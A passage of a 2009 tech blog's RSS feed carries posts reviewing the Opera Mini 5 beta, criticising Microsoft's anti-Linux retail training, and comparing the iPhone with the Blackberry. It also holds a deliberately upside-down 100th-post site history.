<p><strong>Opera Mini 5 Beta &#8220;Wowed&#8221; Me</strong></p>
<p>I just happen to download the new beta from Opera&#8217;s website after checking their site out while bored one day (in a waiting room or something, if I recall). What started as a casual, &#8220;gee, why don&#8217;t I download the Beta and see what small features are new&#8221; download turned into an overwhelming experience. The app blew me away, and continues to. </p>
<p>After the typical EULA agreement, the first thing you&#8217;ll notice about the app is the presence of the &#8220;speed dial&#8221; default page that has been present in the Opera desktop browser since God knows when. While I personally don&#8217;t get off on the speed dial feature, it is a nice alternative to digging through loads of chronologically-ordered bookmarks. </p>
<p>Another decent feature is the desktop-style Google searchbox. Opera Mini 4&#8217;s search box annoyed me with it&#8217;s side-scrolling and text input navigation, but this search box is not only better than the Blackberry Browser&#8217;s, but is completely identical to that of a regular desktop browser. </p>
<p>While I&#8217;m on the subject, Opera has eliminated something that I&#8217;m sure has plagued other Opera Mini users for the Blackberry as well: gone are the text-input screens that take up the whole screen area. While this may sound absurd to a normal browser user, Opera Mini 4 had the bad habit of opening text input within a whole new screen, but this has been done away with in Opera Mini 5 beta in favor of a more sane text editing method similar to the Blackberry Browser. </p>
<p>The next thing that impressed me about the new browser was the menu handling &#8211; pressing the menu button on my Curve lightly dims the active page and brings down a graphical menu containing the tab bar (more on this in a minute), the address/search bar, and various navigation buttonThs including an additional dropdown menu containing the bookmarks and help links that usually go within a text menu in traditional apps. </p>
<p>But wait, stop there. Read that last paragraph again, and note the reference to the &#8220;tab bar&#8221; &#8211; that&#8217;s right, Opera Mini 5 has brought tabbed browsing to the Blackberry! (and other J2ME phones as well)</p>
<p><strong>Opera Mini 5 Introduces Tabbed Browsing For Mobile Devices</strong></p>
<p>No, not that awkward page-thing that comes in Safari for the iPhone &#8211; this is actual tabbed browsing, identical to what you see in Firefox/Internet Explorer/Opera, including little animations whenever you move between tabs or add a new one via the &#8220;add tab&#8221; button!</p>
<p>That blew me away. I am the worst tab-addict on my Firefox instance (there&#8217;s always on running), sometimes accumulating up to 25 or more tabs open at once. The ability to accomplish this on my mobile device is now an astounding feature, guaranteeing to tack on an additional 30 minutes to every bathroom trip. I wish I was kidding.</p>
<p>And the memory management doesn&#8217;t leave any to be desired, either: if memory becomes scarce and one of your many tabs is found to be the cause of it all, Opera will pick the most memory-intensive tab and close it if it didn&#8217;t require any HTTP POST data, and re-open the URL when you switch back to that tab. </p>
<p><strong>Other Notes</strong></p>
<p>While Opera Mini 5 introduces the absolute finest browser chrome ever brought to a mobile platform in my opinion, there are a few extra things that didn&#8217;t fit into my Opera love song above, including just a few quirks I feel should be fixed before this is no longer labeled as &#8220;beta&#8221; (although, like Google, Opera is apparently listing a perfectly fine product as &#8220;beta&#8221; &#8211; or maybe its other organizations that label alpha-quality software as beta too soon, I haven&#8217;t a clue)</p>
<p>The Opera rendering engine is fantastic, mainly in that it&#8217;s the &#8220;standards nazi&#8221; of rendering engines. The rendering engine itself is not stored on the mobile device, however: all URL requests are sent to a remote Opera server, which formats the remote URL using the Opera engine into a compressed format which is passed along to the device for interpretation and display. </p>
<p>I like this idea, but the only area which it falls short is JavaScript interpretation. Safari for the iPhone has you beat here, Opera &#8211; unless your next revision of the client-side portion of Opera Mini allows for the execution of pre-compiled JavaScript passed from the server&#8217;s JavaScript parser, this will always cripple the mobile browser in today&#8217;s Web 2.0-crazed Internet. </p>
<p>Also, while I love the new text input mechanism (the old one was horrendous), why does all of my text get deleted whenever I hit backspace/delete twice in a row? It doesn&#8217;t just disappear, either: it is pragmatically backspaced as if I held down the delete key, only at a much faster rate. If this is a feature, please remove it or allow us to turn it off/on in the about:config page, because it is simply too annoying. </p>
<p>I also had to bump up my font size to &#8220;medium&#8221; (although my youthful eyes are perfectly capable of reading &#8220;small&#8221; font) because the mouse would pass right over links that I wanted to select/click. The mouse, controlled by my scrolling trackball thing, does not smoothly move like that of the Blackberry browser; instead, it makes small jumping motions across the page, and if the font size is set too small, it&#8217;ll pass right over a link without highlighting it for interaction. </p>
<p>If these small issues would be fixed or worked out, then I could declare this the perfect mobile browser. As much as I want to go on a rant about how Apple won&#8217;t let developers deploy a better browser on their device, or how they won&#8217;t allow Sun to port J2ME to the iPhone, I won&#8217;t. </p>
<p>&#8230;but they still should. Because I think Opera smears Apple in the mobile browsing scene when you compare the two browsers&#8217; chrome and feature set. &#8216;Nuff said <img src='http://thecoffeedesk.com/news/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Oh, and let&#8217;s get J2ME-capable Flash ported already!</p>
<p><a href="http://thecoffeedesk.com/news/index.php/2009/10/21/opera-mini-5-beta-review/" rel="bookmark">Opera Mini 5 Beta Review</a> originally appeared on <a href="http://thecoffeedesk.com/news">The Coffee Desk</a> on October 21, 2009.</p>
]]></content:encoded>
			<wfw:commentRss>http://thecoffeedesk.com/news/index.php/2009/10/21/opera-mini-5-beta-review/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Microsoft Trains Best Buy Employees To Praise Win 7 Over Linux</title>
		<link>http://thecoffeedesk.com/news/index.php/2009/09/09/microsoft-windows-7-linux-fud/</link>
		<comments>http://thecoffeedesk.com/news/index.php/2009/09/09/microsoft-windows-7-linux-fud/#comments</comments>
		<pubDate>Wed, 09 Sep 2009 20:22:04 +0000</pubDate>
		<dc:creator>Anthony</dc:creator>
				<category><![CDATA[IT]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Rants]]></category>
		<category><![CDATA[FUD]]></category>
		<category><![CDATA[lies]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[Windows 7]]></category>

		<guid isPermaLink="false">http://thecoffeedesk.com/news/?p=1023</guid>
		<description><![CDATA[So somebody sends me this: http://quaoar.ww7.be/ms_fud_of_the_year/569458-microsoft-attack-linux-retail-level-probably.html
Words cannot describe the rage I feel as a result, but read on for a pretty decent attempt.

Get The Facts V2
So Microsoft has been both sued and accused of falsifying the &#8220;facts&#8221; in their &#8220;Get The Facts&#8221; campaigns. Their response seems to be to up the ante even more and [...]]]></description>
			<content:encoded><![CDATA[<p>So somebody sends me this: <strong><a target="_blank" href="http://quaoar.ww7.be/ms_fud_of_the_year/569458-microsoft-attack-linux-retail-level-probably.html" title="Microsoft FUD">http://quaoar.ww7.be/ms_fud_of_the_year/569458-microsoft-attack-linux-retail-level-probably.html</a></strong></p>
<p>Words cannot describe the rage I feel as a result, but read on for a pretty decent attempt.<br />
<span id="more-1023"></span></p>
<p><strong>Get The Facts V2</strong></p>
<p>So Microsoft has been both sued and accused of falsifying the &#8220;facts&#8221; in their &#8220;Get The Facts&#8221; campaigns. Their response seems to be to up the ante even more and begin attacking sales personnel in the process. </p>
<p>And the sales personnel they are targeting happen to be at Best Buy, no less, and as XKCD best put it:</p>
<p><img src="http://imgs.xkcd.com/comics/linux_user_at_best_buy.png" alt="XKCD Linux User At Best Buy" /></p>
<p><strong>&#8220;Security&#8221;, Maintainability, and Drivers</strong></p>
<p>I&#8217;m not going to sit here and become the Billy Graham of Linux (don&#8217;t you hate those guys?) but I will point some things out: </p>
<ul>
<li>There are still more viruses and more rapidly-spreading viruses for Windows than Linux</li>
<li>Linux&#8217;s compatibility with Windows via WINE is at its best</li>
<li>The amount of drivers available for peripherals and common devices rivals that of Windows (although some newer devices will always have trouble being supported if the manufacturer doesn&#8217;t provide a Linux driver)</li>
<li>The Unix-style of permissions and system security architecture still trumps that of Windows, although UAC attempts to replicate sudo/gksu.</li>
<li>There is no &#8220;Linux Genuine Advantage&#8221; (A.K.A. &#8220;send my personal information to Microsoft on a daily basis so I can retrieve crucial security updates&#8221;)</li>
</ul>
<p><strong>Microsoft&#8217;s Strategy</strong></p>
<p>You have to give them credit, though: Microsoft is going right for the heart of Linux here, utilizing training for even Best Buy personnel in their new aggressive campaign against what they now must consider a threat to their new OS. </p>
<p>Combine this with their &#8220;I&#8217;m a PC&#8221; and laptop hunting expeditions (both slashing the Mac platform) and you have covered both major threats to Microsoft&#8217;s OS monopoly. </p>
<p>I may be a little (read: very) biased against Microsoft for their strategy and product quality versus the Mac and Linux platforms, but even though Microsoft is simply playing Apple&#8217;s game with the &#8220;I&#8217;m a PC&#8221; commercials, going so far as to blatantly spread misinformation about Windows 7 versus Linux is a little too far. </p>
<p>Novell, Red Hat and IBM have all created ads promoting Linux, but without going so far as to completely distort facts about the opposition, as Microsoft seems to have done here. </p>
<p>Given the proper amount of research and citing of reputable sources, this could be grounds for yet another lawsuit against Microsoft, as in the past with legal confrontation over the &#8220;Get The Facts&#8221; and some &#8220;I&#8217;m a PC&#8221; commercials.</p>
<p>Sometimes, people just feel like they have to play dirty to advocate their product against a threat&#8230;</p>
<p><a href="http://thecoffeedesk.com/news/index.php/2009/09/09/microsoft-windows-7-linux-fud/" rel="bookmark">Microsoft Trains Best Buy Employees To Praise Win 7 Over Linux</a> originally appeared on <a href="http://thecoffeedesk.com/news">The Coffee Desk</a> on September 9, 2009.</p>
]]></content:encoded>
			<wfw:commentRss>http://thecoffeedesk.com/news/index.php/2009/09/09/microsoft-windows-7-linux-fud/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>iPhone vs. Blackberry: Smartphone Showdown</title>
		<link>http://thecoffeedesk.com/news/index.php/2009/08/22/iphone-vs-blackberry/</link>
		<comments>http://thecoffeedesk.com/news/index.php/2009/08/22/iphone-vs-blackberry/#comments</comments>
		<pubDate>Sun, 23 Aug 2009 01:31:52 +0000</pubDate>
		<dc:creator>Anthony</dc:creator>
				<category><![CDATA[Consumer Electronics]]></category>
		<category><![CDATA[Hardware]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[Apple]]></category>
		<category><![CDATA[AT&T]]></category>
		<category><![CDATA[Blackberry]]></category>
		<category><![CDATA[iPhone]]></category>
		<category><![CDATA[scathing]]></category>
		<category><![CDATA[smartphones]]></category>

		<guid isPermaLink="false">http://thecoffeedesk.com/news/?p=959</guid>
		<description><![CDATA[I currently have a Blackberry Curve as my personal phone, and I have written a lot of software for the iPhone in addition to using one on an almost-daily basis for debugging &#8230;and because it is awesome.
I love them both, and while I haven&#8217;t traditionally leaned towards one or the other in terms of a [...]]]></description>
			<content:encoded><![CDATA[<p>I currently have a <strong>Blackberry Curve</strong> as my personal phone, and I have written a lot of software for the <strong>iPhone</strong> in addition to using one on an almost-daily basis for debugging &#8230;and because it is awesome.</p>
<p>I love them both, and while I haven&#8217;t traditionally leaned towards one or the other in terms of a favorite, there are a few elements about each where one either falls short to the other or vice versa, and I aim to cover most if not all of these differences in this post.<br />
<span id="more-959"></span></p>
<p>(I don&#8217;t have enough experience to write about the Palm Pre, so don&#8217;t ask me)</p>
<p><strong>Camera: Blackberry 1, iPhone 0</strong></p>
<p>While the iPhone has a higher-quality camera than some Blackberrys, you just can&#8217;t top video support. </p>
<p>Every since I got a bigger memory card for my Blackberry, I&#8217;ve been shooting videos with it left and right (you can&#8217;t use the video functionality without a large memory card, something I previously lacked). I love it &#8211; and drive people nuts with it constantly. </p>
<p>The iPhone is slated to gain video support in a newer hardware/software release, but for now this is a major feature it lacks (along with MMS). My Blackberry didn&#8217;t have video support until I updated the OS software, telling me that the video functionality is merely a stream of stills formatted into an MPEG stream. </p>
<p>But still, you just can&#8217;t beat a video camera in your pocket. </p>
<p><strong>MMS: Blackberry 2, iPhone 0</strong></p>
<p>AT&#038;T is the <strong><a href="http://thecoffeedesk.com/news/index.php/2009/06/08/att-to-apple-slingbox-bad-tethering-ok/" title="AT&#038;T on tethering">primary cause</a></strong> of this one, although ironically my Blackberry is also under AT&#038;T. </p>
<p>MMS is on so many phones, including AT&#038;T phones, that the iPhone&#8217;s lack of support for the protocol specifically for the iPhone is just incredibly pathetic. And even better, the video capability of the Blackberry integrates well with MMS &#8211; I shot a football play and the corresponding score yesterday and MMS&#8217;d it to a friend running late to the game. </p>
<p>If I had an iPhone as my personal phone, then no &#8211; there isn&#8217;t an app for that. </p>
<p><strong>App Distribution: Blackberry 2, iPhone 1</strong></p>
<p>The iTunes app store is great &#8211; there are just so many applications to choose from on it, as the commercials tout, and the majority of them are free. </p>
<p>The Blackberry follows the typical operating system paradigm of &#8220;find it and download it yourself&#8221;. Not cool. And as far as RIM&#8217;s own app store goes, I haven&#8217;t heard enough about it to know where to even find it &#8211; it isn&#8217;t advertised, there&#8217;s no icon for it included in updates, and the BB Browser doesn&#8217;t bookmark it. </p>
<p>I had quite a time finding the few apps I have on my BB, whereas the legions of them on the iPhone I use were all downloaded on a whim. Best part is that this isn&#8217;t something RIM can&#8217;t imitate &#8211; they just need to centralize their apps around their store better. </p>
<p><strong>App Development: Blackberry 2, iPhone 2</strong></p>
<p>This one really should be &#8220;iPhone: 1.5&#8243; because getting an app through the mysterious App Store approval process can be a pain for many developers, especially since the average approval period is higher for updates than initial submissions. </p>
<p>Other than that, I enjoy writing apps for the iPhone a lot more than for the Blackberry. Java is easily my strongest programming language, yet RIM&#8217;s Java API for Blackberry development is still a nightmarish mess for me, compared to the breeze of writing an Objective-C app for the iPhone (once you learn it).</p>
<p>Just look at the menuing system &#8211; it requires extensive experience in programming 2D graphics in order to draw an even half-decent menu on the Blackberry, and this same &#8220;more-complicated-than-it-should-be&#8221; pattern extends to many other areas of the API, as well. </p>
<p>Needless to say, everytime I even attempt to further my developmental experience on the Blackberry, I just wind up burnt out and frustrated. It&#8217;s an art, and one that I don&#8217;t plan on mastering as a hobbyist. </p>
<p><strong>AT&#038;T-free: Blackberry 3, iPhone 2</strong></p>
<p>AT&#038;T is part of the reason you can&#8217;t get Slingbox to stream over 3G, the suspected reason why Google Voice is a no-go for the iPhone, and the reason the iPhone can&#8217;t update to the year 2007 with MMS support.</p>
<p>But, unless you want to risk jailbreaking your iPhone, you&#8217;re stuck with AT&#038;T. The Blackberry, on the other hand, is shackle-free &#8211; you can use it on any carrier that has been blessed by RIM, and most of the major carriers have been so.</p>
<p>This appears to drive hardcore iPhone-addicts up the wall.</p>
<p><strong>Visual Voicemail: Blackberry 3, iPhone 3</strong></p>
<p>The greatest innovation I&#8217;ve seen since the dawn of voicemail, unless you count Google Voice (a Blackberry application). Seriously &#8211; a little piece of me dies everytime I have to cycle through the 20<sup>th</sup> century voicemail menu system on my Blackberry. </p>
<p>For such a &#8220;smartphone&#8221;, not having visual voicemail or even a better system than the existing is just stupid. </p>
<p><strong>OS features: Blackberry 4, iPhone 3</strong></p>
<p>We&#8217;ve discussed the <strong><a href="http://thecoffeedesk.com/news/index.php/2009/05/17/iphone-architecture/" title="iPhone OS">iPhone OS</a></strong> here <strong><a href="http://thecoffeedesk.com/news/index.php/2009/07/20/iphone-firmware-definition/" title="iPhone OS firmware">many</a></strong> <strong><a href="http://thecoffeedesk.com/news/index.php/2009/08/06/iphone-daemon/" title="iPhone Background Security">times</a></strong>, yet I still like the Blackberry OS much better.</p>
<p>The scheduling and power management is more robust, and I get much better battery life with my almost 1.5 year old Blackberry than a new iPhone does. </p>
<p>That, and the Blackberry crosses a line Apple didn&#8217;t even want to cross due to &#8220;possible power issues&#8221;: the ability to run apps in the background. I can hit &#8220;reload&#8221; within Opera Mini, and while the page is downloading I can go do something else, say, check on my Twitter timeline or replies. </p>
<p>(as a side note, I just mentioned Opera Mini &#8211; good luck getting an alternative web browser on the iPhone)</p>
<p>This is the essence of playing with my phone while in a waiting room or on the toilet &#8211; I am a very attention-deficit person, as those of you whom follow me on Twitter can attest to, so I love the ability to multi-task &#8211; especially when AT&#038;T&#8217;s latent network is core to the functionality of said tasks.</p>
<p>And one more thing about the Blackberry OS I like: the security. BB&#8217;s OS is very sandboxed, which is both essential as an open OS (not open source; open as in getting apps deployed on one without approval), and as a smartphone in general.</p>
<p>I can manually set the permissions for each application within the OS settings, so as to keep (say) my SSH application with a possible security bug from accessing my Address book database. This security re-assures me a far as putting sensitive information into my device &#8211; even if I lose it, there is no way to access this information without my password, thanks to encryption at a very low level. </p>
<p>Even better, the security of the Blackberry can be centrally configured for legions of devices, using a thing called&#8230;</p>
<p><strong>Blackberry Enterprise Server: Blackberry 5, iPhone 3</strong></p>
<p>BES is a product made by RIM that is essentially a Group Policy clone for the Blackberry platform. For those of you who have no idea what I&#8217;m referring to, it is basically a service that allows you to centrally control every aspect of the Blackberry&#8217;s functionality. </p>
<p>Deployment is Windows-only, and a challenge to install from what I hear, but for large corporations with company phones this is invaluable. Disable installing apps other than the ones you wish to be pushed to every phone, or maybe centrally sync all company contacts with every device &#8211; these are just a few things BES allows you to do.</p>
<p>This is one field where Apple always seems to have trouble &#8211; if Mac OS X had this functionality, then you wouldn&#8217;t see so many Windows Server and Windows workstation combinations in workplace scenarios. It is no different with the iPhone, apparently. </p>
<p><strong>Final Notes</strong></p>
<p>Am I biased for having a Blackberry? Nope. My contract expires in a few months and my eyes are looking around for the next phone. I just find that the Blackberry has more desirable features than the iPhone does, especially out of the box.</p>
<p>Granted, I play with the iPhone constantly &#8211; its apps are incredible. Other than that, the Blackberry trumps it as far as its basic architecture and core feature set goes. </p>
<p>I look for this to change in the (hopefully near) future: All the iPhone has to do is get Video support, MMS support, <strong>drop AT&#038;T</strong> (or allow an option), and maybe beef up its OS integration and enterprise feature set &#8211; then its on par with the Blackberry, in my book at least. </p>
<p>As far as the general public goes, however, the iPhone is just what everyone needed. While it has a few flaws compared to other devices that drive some of us geeks up the wall, you simply can&#8217;t resist the usability of the device. </p>
<p>But for now, I&#8217;m sticking with my Blackberry, and waiting for the iPhone to catch up with some of its features before I possibly make the switch at the end of my contract. That&#8217;s my take on it all, now tell me yours. </p>
<p><a href="http://thecoffeedesk.com/news/index.php/2009/08/22/iphone-vs-blackberry/" rel="bookmark">iPhone vs. Blackberry: Smartphone Showdown</a> originally appeared on <a href="http://thecoffeedesk.com/news">The Coffee Desk</a> on August 22, 2009.</p>
]]></content:encoded>
			<wfw:commentRss>http://thecoffeedesk.com/news/index.php/2009/08/22/iphone-vs-blackberry/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>In Case You Missed It&#8230;</title>
		<link>http://thecoffeedesk.com/news/index.php/2009/08/19/in-case-you-missed-it/</link>
		<comments>http://thecoffeedesk.com/news/index.php/2009/08/19/in-case-you-missed-it/#comments</comments>
		<pubDate>Wed, 19 Aug 2009 22:08:51 +0000</pubDate>
		<dc:creator>Anthony</dc:creator>
				<category><![CDATA[Humor]]></category>
		<category><![CDATA[The Coffee Desk]]></category>
		<category><![CDATA[NOT NEWS]]></category>
		<category><![CDATA[not photoshopped]]></category>
		<category><![CDATA[upside-down]]></category>

		<guid isPermaLink="false">http://thecoffeedesk.com/news/?p=938</guid>
		<description><![CDATA[For about two days following The Coffee Desk&#8217;s 100th article, the site was flipped upside-down. It&#8217;s back to normal now, but in case you missed it here is a screenshot:

In Case You Missed It&#8230; originally appeared on The Coffee Desk on August 19, 2009.
]]></description>
			<content:encoded><![CDATA[<p>For about two days following <a target="_blank" href="http://thecoffeedesk.com/news/index.php/2009/08/16/100th-post/" title="100th article">The Coffee Desk&#8217;s 100th article</a>, the site was flipped upside-down. It&#8217;s back to normal now, but in case you missed it here is a screenshot:</p>
<div class="wp-caption aligncenter" style="width: 431px"><a href="http://img30.imageshack.us/img30/7432/screenshottap.png" target="_blank"><img alt="The Coffee Desk Upside-down" src="http://img30.imageshack.us/img30/7432/screenshottap.png" title="The Coffee Desk Upside-down" width="421" height="195.3" /></a><p class="wp-caption-text"><strong>The Coffee Desk Upside-down</strong><br />(click the image link for the full screenshot)</p></div>
<p><span id="more-938"></span></p>
<p><a href="http://thecoffeedesk.com/news/index.php/2009/08/19/in-case-you-missed-it/" rel="bookmark">In Case You Missed It&#8230;</a> originally appeared on <a href="http://thecoffeedesk.com/news">The Coffee Desk</a> on August 19, 2009.</p>
]]></content:encoded>
			<wfw:commentRss>http://thecoffeedesk.com/news/index.php/2009/08/19/in-case-you-missed-it/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ʇsod ɥʇ001 ɹno ƃuıʇɐɹqǝlǝɔ</title>
		<link>http://thecoffeedesk.com/news/index.php/2009/08/16/100th-post/</link>
		<comments>http://thecoffeedesk.com/news/index.php/2009/08/16/100th-post/#comments</comments>
		<pubDate>Sun, 16 Aug 2009 22:52:08 +0000</pubDate>
		<dc:creator>Anthony</dc:creator>
				<category><![CDATA[The Coffee Desk]]></category>
		<category><![CDATA[100th post]]></category>
		<category><![CDATA[Celebration]]></category>
		<category><![CDATA[NOT NEWS]]></category>
		<category><![CDATA[nothing to see here]]></category>
		<category><![CDATA[upside-down]]></category>

		<guid isPermaLink="false">http://thecoffeedesk.com/news/?p=920</guid>
		<description><![CDATA[(If you missed this when it was originally posted, then go here)
To celebrate our 100th article, we decided to flip the entire post (and website) upside-down. If you are a weenie and prefer the right-side-up version, then go here.
˙(ʇɐɯɹoɟ ǝuılǝɯıʇ uı) ʎɹoʇsıɥ ɟǝıɹq ɐ ǝpıʌoɹd oʇ ǝɯıʇ ʇɐǝɹƃ ɐ sʞɹɐɯ sıɥʇ bɐɟ ǝɥʇ spɐǝɹ ʎpoqou [...]]]></description>
			<content:encoded><![CDATA[<p>(If you missed this when it was originally posted, then <strong><a target="_blank" href="http://thecoffeedesk.com/news/index.php/2009/08/19/in-case-you-missed-it/" title="The Coffee Desk upside-down">go here</a></strong>)</p>
<p>To celebrate our 100th article, we decided to flip the entire post (and website) upside-down. If you are a weenie and prefer the right-side-up version, then <strong><a href="http://thecoffeedesk.com/news/index.php/for-weenies/" title="Weenie Version">go here</a></strong>.</p>
<p>˙(ʇɐɯɹoɟ ǝuılǝɯıʇ uı) ʎɹoʇsıɥ ɟǝıɹq ɐ ǝpıʌoɹd oʇ ǝɯıʇ ʇɐǝɹƃ ɐ sʞɹɐɯ sıɥʇ bɐɟ ǝɥʇ spɐǝɹ ʎpoqou ǝɔuıs puɐ &#8216;ʍouʞ noʎ &#8216;ǝɯıʇ ɹǝʌo ʇıq ɐ ǝʇınb pǝʌloʌǝ s,ʇı ˙ǝʇısqǝʍ ǝɥʇ ɟo ʎɹoʇsıɥ ɐ ɟo ǝɹoɯ ǝlʇʇıl ɐ ǝpıʌoɹd puɐ ʞɔɐq ʞool ɐ ǝʞɐʇ plnoɥs ǝʍ ʇɥƃnoɥʇ ı &#8216;ʞsǝp ǝǝɟɟoɔ ǝɥʇ uo ǝlɔıʇɹɐ ɥʇ001 ǝɥʇ ɹoɟ<br />
<span id="more-920"></span></p>
<p>¡ǝɹǝɥʍʎuɐ ǝƃɐɹǝʌoɔ ɥɔǝʇ ʇsǝuıɟ ǝɥʇ ɹoɟ os ƃuıop uo dǝǝʞ puɐ &#8216;ƃuıpɐǝɹ ɹoɟ sʞuɐɥʇ</p>
<p> ˙sʍǝu sʇı puɐ ʎɹʇsnpuı ɥɔǝʇ ǝɥʇ uo (oʍʇ ɹo) ʞɹɐɯ ɐ ǝpɐɯ ʎlǝʇıuıɟǝp ǝʌ,ǝʍ ʇnq &#8216;ɥɔunɹɔɥɔǝʇ ɹo ʇopɥsɐls ou ǝɹ,ǝʍ ˙ǝʇıs ǝɥʇ ɟo ʎɹoʇsıɥ ǝɥʇ s,ʇɐɥʇ &#8217;sʎɐʍʎuɐ</p>
<p> ¡sǝʌlǝsɹno ɥʇıʍ dn ʇɥƃnɐɔ ǝʌ,ǝʍ ǝʞıl sʞool</p>
<p>¡ɥo,p ˙uʍop-ǝpısdn &#8216;ǝlɔıʇɹɐ ɥʇ001 ǝɥʇ sʇsod ʞsǝp ǝǝɟɟoɔ ǝɥʇ :61 ʇsnƃnɐ</p>
<p>(dɐɹɔ sɐʍ ǝuo plo ǝɥʇ) ɹǝʌɹǝs ǝɥɔɐɔ/ʎxoɹd puǝ-ʇuoɹɟ ʍǝu ɐ sʇǝƃ ʞsǝp ǝǝɟɟoɔ ǝɥʇ :1 ʇsnƃnɐ</p>
<p> sɥƃnɐl ɹoɟ suɐıpǝdıʞıʍ slloɹʇ ʞsǝp ǝǝɟɟoɔ ǝɥʇ :32 ʎlnɾ</p>
<p> ɥsɐlʞɔɐq ǝqopɐ sǝsnɐɔ ǝlɔıʇɹɐ ǝqopɐ-ıʇuɐ :9 ǝunɾ</p>
<p>xǝpuı s,sʍǝu ǝlƃooƃ oʇ pǝppɐ ʞsǝp ǝǝɟɟoɔ ǝɥʇ :02 ǝunɾ</p>
<p>ʞɹɐɯ sʇuǝɯɯoɔ (ɯɐds-uou) 001 ǝɥʇ sʇıɥ ʞsǝp ǝǝɟɟoɔ ǝɥʇ :31 ǝunɾ</p>
<p>(op ǝʍ puɐ) ɥsılqnd oʇ ǝlɔıʇɹɐ uɐ sn slıɐɯǝ ǝʌıʇɐʇuǝsǝɹdǝɹ uuɐɔı-xǝ :3 ǝunɾ</p>
<p>ʞɔɐɾɔıƃɐɯ ɯoɹɟ lıɐɯǝʇɐɥ sǝsnɐɔ ǝlɔıʇɹɐ ʞɔɐɾɔıƃɐɯ :92 ʎɐɯ</p>
<p>pǝʇsod ǝlɔıʇɹɐ ǝɹnʇɔǝʇıɥɔɹɐ ǝuoɥdı pǝɯıɐlɔɔɐ-ʎllɐɔıʇıɹɔ :71 ʎɐɯ</p>
<p> ˙ɯǝlqoɹd ǝɥʇ ɟo ǝsnɐɔ ǝɥʇ ǝq oʇ punoɟ ɔıu ɹǝʌɹǝs ǝɥɔɐɔ/ʎxoɹd pǝıɹɟ ˙ɹıɐdǝɹ ɹǝʌɹǝs ɹǝʇɟɐ uıɐƃɐ ǝuıluo ʞɔɐq ʞsǝp ǝǝɟɟoɔ ǝɥʇ :11 ʎɐɯ</p>
<p>ʎʇılıqɐlıɐʌɐun ƃuısnɐɔ &#8216;uıɐƃɐ pǝʇʇopɥsɐls ʞsǝp ǝǝɟɟoɔ ǝɥʇ :9 ʎɐɯ</p>
<p>ǝlddɐ ɯoɹɟ lıɐɯǝ uʍopǝʞɐʇ ɐ sǝsnɐɔ ʇǝlqɐʇ ǝlddɐ uo ǝlɔıʇɹɐ :2 ʎɐɯ</p>
<p>ɹǝʇʇıʍʇ sʇıɥ ʞsǝp ǝǝɟɟoɔ ǝɥʇ :92 lıɹdɐ</p>
<p>oǝs puɐ pǝǝds ɹoɟ pǝzıɯıʇdo ǝʇıs &#8216;pǝɥɔunɐl ǝƃɐd &#8220;sǝlɔıʇɹɐ doʇ&#8221; :62 lıɹdɐ</p>
<p>ʎʇılɐnb ɟo ssol ʇnoɥʇıʍ puɐ ʎʇılıqıpǝɹɔ ɥɔǝʇ ƃuıuıɐʇǝɹ ǝlıɥʍ &#8217;sǝlɔıʇɹɐ s,ʞsǝp ǝǝɟɟoɔ ǝɥʇ uıɥʇıʍ uǝǝs sı sǝlɔıʇɹɐ snoɹoɯnɥ ǝɹoɯ spɹɐʍoʇ ʇɟıɥs ʇɥƃıls ɐ :lıɹdɐ</p>
<p>ʎɹʇsnpuı ɥɔǝʇ ǝɥʇ uıɥʇıʍ sʇuǝʌǝ ɟo ʞɔɐl puɐ sǝlnpǝɥɔs ƃuıʇɔılɟuoɔ oʇ ǝnp uʍopʍols ǝʇɐɹ ɥsılqnd ǝlɔıʇɹɐ ɹoɾɐɯ :ɥɔɹɐɯ-ʎɹɐnɹqǝɟ</p>
<p>ƃƃǝ ɹǝʇsɐǝ uɐ sɐ ǝʇıs ǝɥʇ ɟo doʇ ǝɥʇ ʇɐ pɹɐoqʎǝʞ ǝɥʇ oʇ pǝppɐ ʎpoɹɐd ʇɥƃılʇods &#8220;ʇɥƃılʇou&#8221; :52 ɹǝqɯǝʌou</p>
<p>ǝlɔıʇɹɐ ʇsɹıɟ s,uǝɥdǝʇs ɹoɥʇnɐ :21 ɹǝqoʇɔo</p>
<p>uʍop ƃuıoƃ ɯoɹɟ ǝʇıs ǝɥʇ sʇuǝʌǝɹd ǝpɐɹƃdn ɹǝʌɹǝs &#8216;ǝɯıʇ ǝɯɐs ǝɥʇ ʇɐ ƃƃnp puɐ pǝʇʇopɥsɐls ʞsǝp ǝǝɟɟoɔ ǝɥʇ :11 ɹǝqoʇɔo</p>
<p>ʇlnsǝɹ ɐ sɐ uʍop ʞsǝp ǝǝɟɟoɔ ǝɥʇ &#8216;pǝʞɔɐɥ ʞɹoʍʇǝu ssǝuısnq ʇsɐɔɯoɔ :92-72 ɹǝqɯǝʇdǝs</p>
<p>&#8220;ǝʇıs ɯɐds&#8221; ɐ sɐ ʎlǝslɐɟ ǝǝɟɐɔɯ ʎq pǝƃƃɐlɟ ʞsǝp ǝǝɟɟoɔ ǝɥʇ :52 ɹǝqɯǝʇdǝs</p>
<p>ǝlɔıʇɹɐ ʇsɹıɟ s,ʞɹɐɯ ɹoɥʇnɐ :42 ɹǝqɯǝʇdǝs</p>
<p>ɹɐʍ ǝɯɐlɟ ɐ sǝsnɐɔ slıɐɹ uo ʎqnɹ ƃuıɥsɐq ǝlɔıʇɹɐ uɐ &#8216;ƃuıʇʇopɥsɐls ǝɥʇ ɟo ǝʞɐʍ ǝɥʇ uı :32 ɹǝqɯǝʇdǝs</p>
<p> ˙ɟlɐɥ puɐ ʎɐp ɐ ɹoɟ uʍop ǝʇıs ǝɥʇ ǝʞɐʇ oʇ (ǝɔuo ʇɐ ǝʇıs ǝɥʇ ƃuıʇʇıɥ sɹǝsn ɟo spuɐsnoɥʇ) &#8220;ʇɔǝɟɟǝ ʇopɥsɐls&#8221; ǝɥʇ ƃuısnɐɔ &#8216;ƃɹo˙ʇopɥsɐls ʎq oʇ pǝʞuıl sı ʞsǝp ǝǝɟɟoɔ ǝɥʇ :02 ɹǝqɯǝʇdǝs</p>
